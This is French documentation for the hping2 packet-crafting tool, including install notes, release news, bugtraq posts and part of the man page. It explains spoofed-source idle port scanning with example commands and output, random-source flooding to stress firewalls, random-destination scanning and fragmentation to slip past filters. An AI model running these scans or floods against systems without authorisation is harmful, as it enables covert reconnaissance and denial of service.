40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms
40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms
notez que 16+75+12+27+11+1-6 = 136 et que nous avons envoyé 130 paquets.
Ainsi il est très probable que les incréments soient produits par nos
paquets.
Conseil : en utilisant un système inactif pour réaliser un scan usurpé il
est utile de ne montrer que les réponses qui montrent un
incrément différent de 1. Essayez
`hping host -r | grep -v "id=+1"'

View File

@ -0,0 +1,14 @@
Je voudrais dire deux mots à propos du modèle de développement de hping2.
Hping2 est totalement ouvert à toutes nouvelles contributions et idées, si
vous avez même la plus petite idée afin de rendre hping meilleur ou si vous
faites un patch alors envoyez moi un courrier électronique. Tous les
patches, s'ils ne cassent pas l'ancien code et ne sont pas totalement
inutiles, seront inclus. Je connais nombre de projets sous licence GPL mais
qui sont dans un sens "fermés" puisque chaque nouveau patch est considéré
bouffi ou alors le seul code possible est celui de l'auteur principal : CE
N'EST PAS LE CAS! Également chacune des plus petites contributions
documentaires seront ajoutées à hping2, vous pouvez juste créer un ficher
texte qui expose comment réaliser une tâche avec hping, il sera inclus dans
le répertoire 'docs'.
antirez

72
docs/french/INSTALL Normal file
View File

@ -0,0 +1,72 @@
Vous pouvez compiler hping2 au moins sur :
Linux
OpenBSD
FreeBSD
NetBSD
Solaris
Avec Linux vous n'avez besoin d'aucune bibliothèque, ni d'être root,
cependant vous avez besoin d'un uid 0 pour exécuter hping.
Linux
-----
merci de suivre les étapes suivantes :
$ ./configure (essayer d'abord ./configure --help)
$ vi Makefile (facultatif)
$ make
$ su
# make install
FreeBSD, OpenBSD, NetBSD
------------------------
Vous aurez besoin de la libpcap et le l'utilitaire gmake installés sur votre
système.
$ ./configure
$ gmake
$ su (ou calife)
# gmake install
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
NOTE : vous devez faire attention à votre fichier net/bpf.h en installant
sur les systèmes BSD (spécialement avec OpenBSD). Si votre fichier bpf.h
original a été écrasé avec celui de libpcap alors probablement que hping
ne fonctionnera pas avec certaines interfaces.
Par exemple si vous utilisez le fichier bpf.h de libpcap sur OpenBSD alors
hping ne fonctionnera pas sur les interfaces PPP.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solaris
--------
$ export CC="gcc"
$ ./configure
$ gmake
$ su
# gmake install
TOUS
----
Si vous avez besoin d'exécuter hping2 avec votre compte normal (c.-à-d.
antirez) essayez les commandes suivantes :
# chown root:antirez /usr/sbin/hping2
# chmod 4750 /usr/sbin/hping2
ATTENTION : hping2 n'est pas du code de confiance,
je ne l'ai pas audité pour les débordements de
tampons cachés et autres problèmes en relation avec
la sécurité. Cependant si (comme par défaut)
LIMITWHENSUID est défini alors si euid != uid il
n'est pas possible d'utiliser beaucoup d'options
triviallement non sûres.
le rendre suid n'est pas encouragé.
antirez

View File

@ -0,0 +1,35 @@
Posté sur la mailing liste bugtraq (20 Nov 1999) :
---
Salut,
quelques petites nouvelles idées à propos des problèmes du champ IP ID :
Le premier est à propos du filtrage IP Linux : puisqu'il augmente le
compteur global du champ IP ID même si un paquet sortant sera filtré nous
sommes capables, par exemple, de scanner des ports UDP même si la sortie de
paquets ICMP de type 3 (ndt : port non accessible) est DENY, et en général
il est possible de savoir quand la pile TCP/IP répond à un paquet même si la
réponse est jetée.
Je pense (mais non testé) que ceci est vrai pour la plupart des firewalls.
Le second problème concerne la capacité à découvrir les règles de filtrage.
Par exemple il est trivial de connaître si un système A filtre les paquets
depuis l'adresse IP X.Y.Z.W en contrôlant l'augmentation du champ IP ID du
système A ou du système avec l'adresse X.Y.Z.W (ceci change si nous sommes
intéressés par la connaissance des règles d'entrée ou de sortie) et en
envoyant les paquets qui supposent une réponse. Également ceci est apparenté
avec la capacité de scanner les ports d'un système qui jette tous les
paquets avec une source différente de systeme.de-confiance.com. Il y a
d'autres choses comme ceci mais elles sont seulement différentes facettes du
même concept.
Quelques personnes pensent que ce type d'attaques ne sont pas des attaques
du "monde réel", je suis fortement intéressé de savoir quelle est l'opinion
des lecteurs de bugtraq (à mon opinion ce type d'attaques est faisable et
utile pour un attaquant. Par exemple la capacité de scanner les ports avec
seulement des paquets spoofés (ndt : avec l'adresse source usurpée) et la
capacité de deviner le trafic du système distant sont grandement réels).
ciao,
antirez

11
docs/french/Makefile Normal file
View File

@ -0,0 +1,11 @@
TXT = hping2-fr.8.txt
all: $(TXT)
hping2-fr.8.txt: hping2-fr.8
#groff -t -e -mandoc -Tlatin1 hping2-fr.8 | col -bx | uniq > hping2-fr.8.txt
#groff -t -e -mandoc -Tlatin1 hping2-fr.8 | uniq > hping2-fr.8.txt
groff -t -e -mandoc -Tlatin1 hping2-fr.8 | LC_ALL=fr_FR.ISO-8859-1 col -bx | uniq > hping2-fr.8.txt
clean:
rm -f *~ $(TXT)

158
docs/french/NEWS Normal file
View File

@ -0,0 +1,158 @@
Ce court document est pour les utilisateurs de hping-beta54 ou des versions
précédentes et les aider à exploiter toutes les nouvelles fonctionnalités de
cette version de hping2 en un temps restreint. Vous pouvez quand même
vouloir lire la nouvelle page man mais ce qui suit vous aidera assurément :
=== release candidate 2 news
. Maintenant hping est capable d'envoyer/d'analyser les entêtes IP source
routées. Voir la page du manuel pour plus d'informations.
. Hping a été presque ré-écrit, au moins toutes les parties les plus
importantes. Vous devriez faire l'expérience d'un code plus lisible,
compact, rapide à compiler.
. Le nouveau code d'analyse des options vous permet de spécifier des options
abrégées. Vous pouvez maintenant utiliser --tcp-ti au lieu de
--tcp-timestamp par exemple et ainsi de suite.
. La nouvelle fonctionnalité rand-dest permet d'envoyer le paquet à des
adresses IP aléatoires. Ceci est très utile pour faire des études de
l'Internet ou des scans aléatoires de larges réseaux.
Par exemple la ligne de commande suivante va envoyer des paquets TCP avec
le bit SYN vers le port 80 de l'espace d'adressage 192.168.0.0/16
hping 192.168.x.x --rand-dest -p 80 -S
Toute occurrence de 'x' est substituée par un nombre aléatoire dans
l'intervalle 0-255.
. La nouvelle fonctionnalité rand-source permet d'envoyer des paquets avec
des adresses IP sources aléatoires. Utile pour tester quelques conditions
de DoS (ndt : dénis de service) contre des firewalls ou des piles TCP/IP
qui mettent en oeuvre des enregistrements d'informations basées sur
l'adresse IP.
. La sortie a été un peu améliorée et fixée.
. L'option "force un port destination incrémental" (++<port>) fonctionne
maintenant avec les paquets UDP et fonctionne mieux avec TCP, depuis
qu'elle est plus sélective avec les réponses en retour.
. Maintenant vous devriez être réellement capables de fixer les numéros de
séquence et d'acquittement des paquets TCP. Le code rc1 était cassé car
atoi() était utilisé pour obtenir une valeur "unsigned long" (ndt : longue
valeur non signée)
. La documentation (et la traduction française) a été mise à jour pour
refléter les changements.
=== release candidate 1 news
. Maintenant hping fonctionne mieux sur BSD, et fonctionne sur Solaris. Il
devrait être beaucoup plus simple de le porter sur une plate-forme non
supportée. Les problèmes avec les systèmes qui utilisent des pids (ndt :
numéros de processus) sur 32 bits sont fixés.
. La sortie est différente pour être plus analysable (ndt : par un
programme) et compacte, par exemple :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms
maintenant la présence du drapeau IP Don't fragment (ndt : ne pas
fragmenter) est signalé avec 'DF'. tous les champs avec une valeur sont de
la forme 'champ=valeur'.
. Spécifier l'interface de sortie avec -I n'est plus nécessaire, hping
essayera de détecter la bonne interface selon la table de routage système.
Bien sûr vous pouvez la forcer en utilisant -I.
. Au lieu de spécifier -i u10000 pour avoir une vitesse de dix paquets par
seconde vous pouvez utiliser --fast.
. Maintenant --traceroute (-T) implique --ttl 1. Vous pouvez forcer une
valeur en utilisant --ttl.
. En utilisant hping comme traceroute vous avez maintenant les informations
RTT (ndt : temps aller-retour) à propos des sauts.
. Vous pouvez surveiller un saut spécifique en mode traceroute, en utilisant
la syntaxe suivante :
hping2 -T www.yahoo.com --tr-keep-ttl --ttl 5
voyez la sortie :
HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat
a bytes
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.9 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.8 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.9 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.7 ms
--- www.yahoo.com hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 136.7/136.8/136.9 ms
vous n'avez que les informations sur le 5ème saut, après Ctrl+C le temps
aller-retour min/avg/max (ndt : minimum, moyen, maximum) est calculé en
utilisant les temps de ce saut.
. En utilisant l'option --tr-stop vous pouvez obtenir que hping s'arrête
quand est reçu le premier paquet correspondant qui n'est pas un ICMP time
exceeded in transit, comme le traceroute original. Sans cela hping
continue d'envoyer des paquets au système cible pour toujours.
. Vous pouvez utiliser --tr-no-rtt pour supprimer l'information rtt dans le
mode traceroute.
. Avec la fonctionnalité --tcp-timestamp vous pouvez deviner l'uptime d'un
système distant. Par exemple :
HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes
56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms
TCP timestamp: 258597761
56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms
TCP timestamp: 258597860
HZ seems 100
System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds
56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms
TCP timestamp: 258597960
HZ seems 100
System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds
--- www.hping.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 105.0/105.2/105.4 ms
Comme vous pouvez voir, la première réponse ne contient pas d'information
de uptime puisque au moins deux paquets sont nécessaires pour estimer la
fréquence d'incrémentation du minuteur du timestamp (qui est HZ dans la
sortie).
. Vous pouvez maintenant utiliser les requêtes ICMP de timestamp et de
masque réseau. Deux raccourcis sont fournis pour les utiliser : --icmp-ts
et --icmp-addr.
. Maintenant le traitement du numéro de séquence a été revu pour permettre à
hping de montrer l'information correcte de rtt même si le numéro de
séquence repasse à zéro.
. Maintenant hping ne devrait jamais (avec un peu de chance) générer une
erreur SIGBUS sur sparc.
J'espère que vous trouverez hping meilleur à utiliser et plus puissant, ces
améliorations ont été mises en oeuvre grâce à de nombreuses personnes qui
ont beaucoup aidé avec du code et de nouvelles idées, voyez le fichier
CHANGES pour plus d'informations et les crédits.
amusez vous bien,
antirez

View File

@ -0,0 +1,128 @@
Ce qui suit est le postage original (ndt : du moins sa traduction) à bugtraq
à propos de la méthode de scan usurpée/passive/indirecte. Voir le fichier
HPING2-HOWTO pour plus d'informations.
antirez
---
Salut,
J'ai découvert une nouvelle méthode de scan de ports TCP. Au
contraire de toutes les autres elle vous permet de scanner en
utilisant des paquets usurpés (ndt : dont l'adresse IP source est
usurpée), ainsi les systèmes scannés ne peuvent pas voir votre
adresse réelle. Afin de réaliser cela j'utilise trois particularités
bien connues des mises en oeuvre TCP/IP de la plupart des OS.
(1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible
est ouvert, et RST|ACK si le port TCP cible est fermé.
(2) * Vous pouvez connaître le nombre de paquets que les systèmes
envoient en utilisant le champ id de l'entête IP. Voir mes
précédents postages 'à propos de l'entête IP' dans cette mailing
liste.
(3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à
RST.
Les joueurs:
système A - le système malfaisant, l'attaquant.
système B - le système silencieux.
système C - le système victime.
A est votre système.
B est un système particulier : il ne doit envoyer aucun paquet
pendant que vous scannez C. Il y a énormément de systèmes à 'trafic
nul' sur Internet, spécialement la nuit :)
C est la victime, il doit être vulnérable aux scans SYN.
J'ai appelé cette méthode de scan 'scan du système muet' (ndt :
l'autre traduction de 'dumb' est bête) en référence aux
caractéristiques du système B.
Comment elle fonctionne :
Le système A surveille le nombre de paquets sortants depuis B en
utilisant le champ id de l'entête IP. Vous pouvez faire ceci
simplement en utilisant hping :
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
Comme vous pouvez le voir, les incréments du champ id sont toujours
de 1. Ainsi ce système a la caractéristique requise pour jouer le
rôle de B.
Maintenant le système A envoie des paquets SYN au port X de C en
usurpant l'adresse source de B.
(avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez)
si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui,
le système C ne sait pas que le véritable expéditeur est A). Dans ce
cas le système B répond au SYN|ACK avec un RST.
Si nous envoyons au système C quelques paquets SYN il répondra à B
quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi
nous verrons que le système B est en train d'envoyer des paquets !
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
Le port est ouvert !
Par contre, si le port X de C est fermé alors en envoyant à C
quelques paquets SYN avec l'adresse usurpée de B, il répondra avec
des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous
verrons que le système B n'est en train d'envoyer aucun paquet :
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
.
Le port est fermé.
Tout ceci peut paraître compliqué à réaliser, mais utiliser deux
sessions de hping dans des consoles virtuelles Linux ou sous X rend
cela plus simple.
La première session surveille le système B : hping B -r
La seconde session envoie des paquets SYN spoofés : hping C -a B -S
Désolé si mon anglais n'est pas clair.
Cependant ce postage n'est pas adéquat pour décrire exhaustivement
cette méthode de scan, ainsi je vais écrire un article à ce sujet,
en particulier comment mettre en oeuvre ceci dans un scanner de
ports (i.e. nmap), et à propos des caractéristiques des joueurs et
des OS utilisés.
bonne nouvelle année,
antirez

767
docs/french/hping2-fr.8 Normal file
View File

@ -0,0 +1,767 @@
.TH HPING2 8 "2001 Aug 14"
.\" french translation by Denis Ducamp <Denis.Ducamp@groar.org>
.SH NOM
hping2 \- envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux
.SH RESUME
.B hping2
[
.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG
] [
.B \-c
.I count
] [
.B \-i
.I wait
] [
.B \-\-fast
] [
.B \-I
.I interface
] [
.B \-9
.I signature
] [
.B \-a
.I host
] [
.B \-t
.I ttl
] [
.B \-N
.I ip id
] [
.B \-H
.I ip protocol
] [
.B \-g
.I fragoff
] [
.B \-m
.I mtu
] [
.B \-o
.I tos
] [
.B \-C
.I icmp type
] [
.B \-K
.I icmp code
] [
.B \-s
.I source port
] [
.B \-p[+][+]
.I dest port
] [
.B \-w
.I tcp window
] [
.B \-O
.I tcp offset
] [
.B \-M
.I tcp sequence number
] [
.B \-L
.I tcp ack
] [
.B \-d
.I data size
] [
.B \-E
.I filename
] [
.B \-e
.I signature
] [
.B \-\-icmp\-ipver
.I version
] [
.B \-\-icmp\-iphlen
.I length
] [
.B \-\-icmp\-iplen
.I length
] [
.B \-\-icmp\-ipid
.I id
] [
.B \-\-icmp\-ipproto
.I protocol
] [
.B \-\-icmp\-cksum
.I checksum
] [
.B \-\-icmp\-ts
] [
.B \-\-icmp\-addr
] [
.B \-\-tcpexitcode
] [
.B \-\-tcp-timestamp
] [
.B \-\-tr-stop
] [
.B \-\-tr-keep-ttl
] [
.B \-\-tr-no-rtt
] [
.B \-\-rand-dest
] [
.B \-\-rand-source
]
hostname
.br
.ad
.SH DESCRIPTION
hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur
commande et d'afficher les réponses de la cible comme le programme ping le
fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de
paquets et les tailles arbitraires, et peut être utilisé dans le but de
transférer des fichiers encapsulés dans les protocoles supportés. En
utilisant hping2 vous êtes capable d'effectuer au moins les tâches
suivantes :
- Tester les règles d'un firewall
- Scanner des ports de façon avancée
- Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation.
- Découverte de "Path MTU"
- Transférer des fichiers même au travers de règles de firewall vraiment fascistes.
- Comme traceroute avec différents protocoles.
- Utilisation comme Firewalk.
- Détermination d'OS à distance.
- Audit de pile TCP/IP.
- Beaucoup d'autres.
.I C'est également un bon outil didactique pour apprendre TCP/IP.
hping2 est développé et maintenu par antirez@invece.org et est sous la
version 2 de la licence GPL. Le développement est ouvert donc vous pouvez
m'envoyer des patches, suggestions et affronts sans inhibition.
.SH SITE DE HPING
site primaire sur
.BR http://www.hping.org .
Vous pouvez trouver à la fois la version stable et
les instructions pour télécharger le dernier code source sur
http://www.hping.org/download.html
.SH OPTIONS DE BASE
.TP
.I -h --help
Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger
vers less.
.TP
.I -v --version
Montre l'information de version et l'API utilisée pour accéder au niveau
données (data link layer),
.I linux sock packet
ou
.IR libpcap .
.TP
.I -c --count count
Arrête après avoir envoyé (et reçu)
.I count
paquets réponse. Après que le dernier paquet a été envoyé hping2 attend
COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la
possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h
.TP
.I -i --interval
Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de
chaque paquet.
--interval X fixe
.I wait
à X secondes, --interval uX fixe
.I wait
à X micro secondes. Le défaut est d'attendre une seconde entre chaque
paquet. En utilisant hping2 pour transférer des fichiers fixer cette option
est très important pour augmenter le taux de transfert. Même en utilisant
hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous
devriez fixer cette option, voir
.B HPING2-HOWTO
pour plus d'informations.
.TP
.I --fast
Alias pour -i u10000. Hping enverra 10 paquets par seconde.
.TP
.I --faster
Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre
ordinateur peut envoyer des paquets à cause de la conception basée sur les
signaux).
.TP
.I -n --numeric
Sortie numérique seulement, aucune tentative ne sera faite pour chercher les
noms symboliques pour les adresses système.
.TP
.I -q --quiet
Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au
moment du démarrage et quand c'est fini.
.TP
.I -I --interface interface name
Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de
routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface
de routage par défaut hping2 utilise la première interface non loopback.
Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser
l'interface dont vous avez besoin en utilisant cette option. Note : vous
n'avez pas besoin de spécifier le nom complet, par exemple -I et va
correspondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne
correspond hping2 essayera d'utiliser lo.
.TP
.I -V --verbose
Active la sortie verbeuse. Les réponses TCP seront affichées comme suit :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
.TP
.I -D --debug
Active le mode de débogage, c'est utile quand vous rencontrez quelques
problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez
plus d'informations à propos
.B de la détection des interfaces, de l'accès au niveau données, du
.B réglage des interfaces, des options d'analyse, de la fragmentation, du
.B protocole HCMP
et d'autres choses.
.TP
.I -z --bind
Lie CTRL+Z au
.B time to live (TTL)
ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets
sortant en pressant CTRL+Z une ou deux fois.
.TP
.I -Z --unbind
Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2
.SH SELECTION DE PROTOCOLE
Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP
sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de
64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de
faire un 'ping caché', utile quand la cible est derrière un firewall qui
jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port
0 a de bonnes probabilités de ne pas être journalisé.
.TP
.I -0 --rawip
Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données
ajoutées avec --signature et/ou --file, voir également --ipproto qui vous
autorise à fixer le champ protocole IP.
.TP
.I -1 --icmp
Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous
pouvez fixer un autre type/code ICMP en utilisant les options
.B --icmptype --icmpcode
.TP
.I -2 --udp
Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du
système cible. Les options réglables des entêtes UDP sont les suivantes :
.B --baseport, --destport, --keep.
.TP
.I -8 --scan
Mode scan, l'option attend un argument qui décrit des groupes de ports à
scanner. Les groupes de ports sont séparés par des virgules : un nombre
décrit seulement un port unique, donc 1,2,3 signifie ports 1, 2 et 3. Les
intervalles sont spécifiés en utilisant une notation début-fin, comme
1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le
mot spécial
.B all
est un alors pour 0-65535, pendant que le mot spécial
.B known
inclut tous les ports listés dans /etc/services.
.br
Les groupes peuvent être combinés, donc la commande suivante scannera les
ports entre 1 et 1000 ET le port 8888 ET les ports listés dans
/etc/services:
.B hping --scan 1-1000,8888,known -S target.host.com
.br
Les groupes peuvent être niés (soustraits) en utilisant un caractère ! comme
préfix, donc la ligne de commande suivante scannera tous les ports NON
listés dans /etc/services dans l'intervalle 1-1024 :
.B hping --scan '1-1024,!known' -S target.host.com
.br
Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un
scanneur de ports dans ce mode, la plupart des options sont toujours
honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de
spécifier l'option
.BR -S ,
vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la
fragmentation IP comme habituellement, et ainsi de suite. La seule
différence réelle est que le comportement standard de hping est encapsulé
dans un algorithme de scan.
.br
.B Note technique
: Le mode scan utilise une conception basée sur deux
processus, avec de la mémoire partagée pour la synchronisation.
L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide.
.br
.B Conseil
: à la différence de la plupart des scanneurs, hping montre quelques
informations intéressantes à propos des paquets reçus, les champs IP ID, TCP
win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations
additionnelles quand vous effectuez un scan! Quelques fois elles montrent des
détails intéressants.
.TP
.I -9 --listen signature
Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets
qui contiennent
.I signature
et exporte de la fin de la
.I signature
à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui
contient
.B 234-09sdflkjs45-TESThello_world
il affichera
.BR hello_world .
.SH OPTIONS IP
.TP
.I -a --spoof hostname
Utiliser cette option dans le but de fixer une fausse adresse source, cette
option assure que le système cible n'obtiendra pas votre adresse réelle.
Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi
vous ne serez pas capable de les voir. Afin de voir comment il est possible
d'effectuer des scans avec des adresses usurpées/passifs voir le fichier
.BR HPING2-HOWTO .
.TP
.I --rand-source
Cette option active le
.BR "mode source aléatoire" .
hping enverra des paquets avec des adresses sources aléatoires. Il est
intéressant d'utiliser cette option pour stresser les tables d'étât d'un
firewall, et d'autres tables dynamiques basées sur les IP dans les piles
TCP/IP et les firewall logiciels.
.TP
.I --rand-dest
Cette option active le
.BR "mode destination aléatoire" .
hping enverra des paquets à des adresses aléatoires obtenues en suivant la
règle que vous avez spécifiée comme système cible. Vous avez besoin de
spécifier une adresse IP numérique en tant que système cible comme
.BR "10.0.0.x" .
Toutes les occurrences de
.B x
seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi
pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez
quelque chose comme
.BR "hping x.x.x.x --rand-dest" .
Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez
d'utiliser l'option
.B --debug
pour afficher chaque nouvelle adresse destination générée.
.br
.B Attention
: quand cette option est activée hping ne peut pas détecter la bonne
interface
de sortie pour les paquets, ainsi vous devez utiliser l'option
.B --interface
pour sélectionner l'interface de sortie.
.TP
.I -t --ttl time to live
En utilisant cette option vous pouvez fixer le
.B TTL (time to live)
des paquets sortant, il est vraisemblable que vous utiliserez ceci avec les
options
.B --traceroute
ou
.B --bind
Dans le doute essayez
.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'."
.TP
.I -N --id
Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais
si la fragmentation est activée et que le champ id n'est pas spécifié alors
il sera égal à
.BR "getpid() & 0xFF" ,
mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire).
.TP
.I -H --ipproto
Fixe le protocole IP dans le mode RAW IP.
.TP
.I -W --winid
Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt :
ordre des
octets) différent, si cette option est activée hping2 affichera proprement
les champs id des réponses de ces Windows.
.TP
.I -r --rel
Affiche les incréments du champ id au lieu du champ id. Voir le fichier
.B HPING2-HOWTO
pour plus d'informations. Les incréments ne sont pas calculés comme
id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir
le fichier relid.c pour plus d'informations.
.TP
.I -f --frag
Découpe les paquets en fragments, ceci peut être utile afin de tester les
performances de la fragmentation des piles IP et de tester si certains
filtres de paquets sont si faibles qu'ils peuvent être passés en utilisant
de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt :
taille des fragments) est de 16 octets. Voir également l'option
.IR --mtu .
.TP
.I -x --morefrag
Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez
cette option si vous voulez que le système cible envoie un paquet
.B ICMP time-exceeded during reassembly
(ndt : délai dépassé durant le ré-assemblage).
.TP
.I -y --dontfrag
Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut
être utilisé pour effectuer un
.B MTU path discovery
(ndt : découverte de la valeur minimale de la "taille maximale des paquets"
sur le chemin).
.TP
.I -g --fragoff fragment offset value
Fixe l'offset du fragment.
.TP
.I -m --mtu mtu value
Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si
la taille des paquets est supérieure au 'mtu virtuel' alors la fragmentation
est automatiquement activée.
.TP
.I -o --tos hex_tos
Fixe
.B Type Of Service (TOS)
(ndt : le type de service), pour plus d'informations essayez
.BR "--tos help" .
.TP
.I -G --rroute
Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé
et affiche la route présente dans le tampon du paquet retourné. Notez que
l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de
systèmes ignorent ou suppriment cette option. Notez également qu'en
utilisant hping vous êtes capable d'utiliser l'enregistrement de la route
même si le système cible filtre ICMP. Enregistrer la route est une option
IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option
d'enregistrement de la route même dans les modes TCP et UDP.
.SH OPTIONS ICMP
.TP
.I -C --icmptype type
Fixe le type ICMP, le défaut est
.BR "ICMP echo request" .
.TP
.I -K --icmpcode code
Fixe le code ICMP, le défaut est 0 (implique --icmp).
.TP
.I --icmp-ipver
Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut
est 4.
.TP
.I --icmp-iphlen
Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut
est 5 (5 mots de 32 bits).
.TP
.I --icmp-iplen
Fixe la longueur du paquet IP de l'entête IP contenue dans les données ICMP,
le défaut est la taille réelle.
.TP
.I --icmp-ipid
Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut
est aléatoire.
.TP
.I --icmp-ipproto
Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le
défaut est TCP.
.TP
.I --icmp-cksum
Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide.
.TP
.I --icmp-ts
Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp).
.TP
.I --icmp-addr
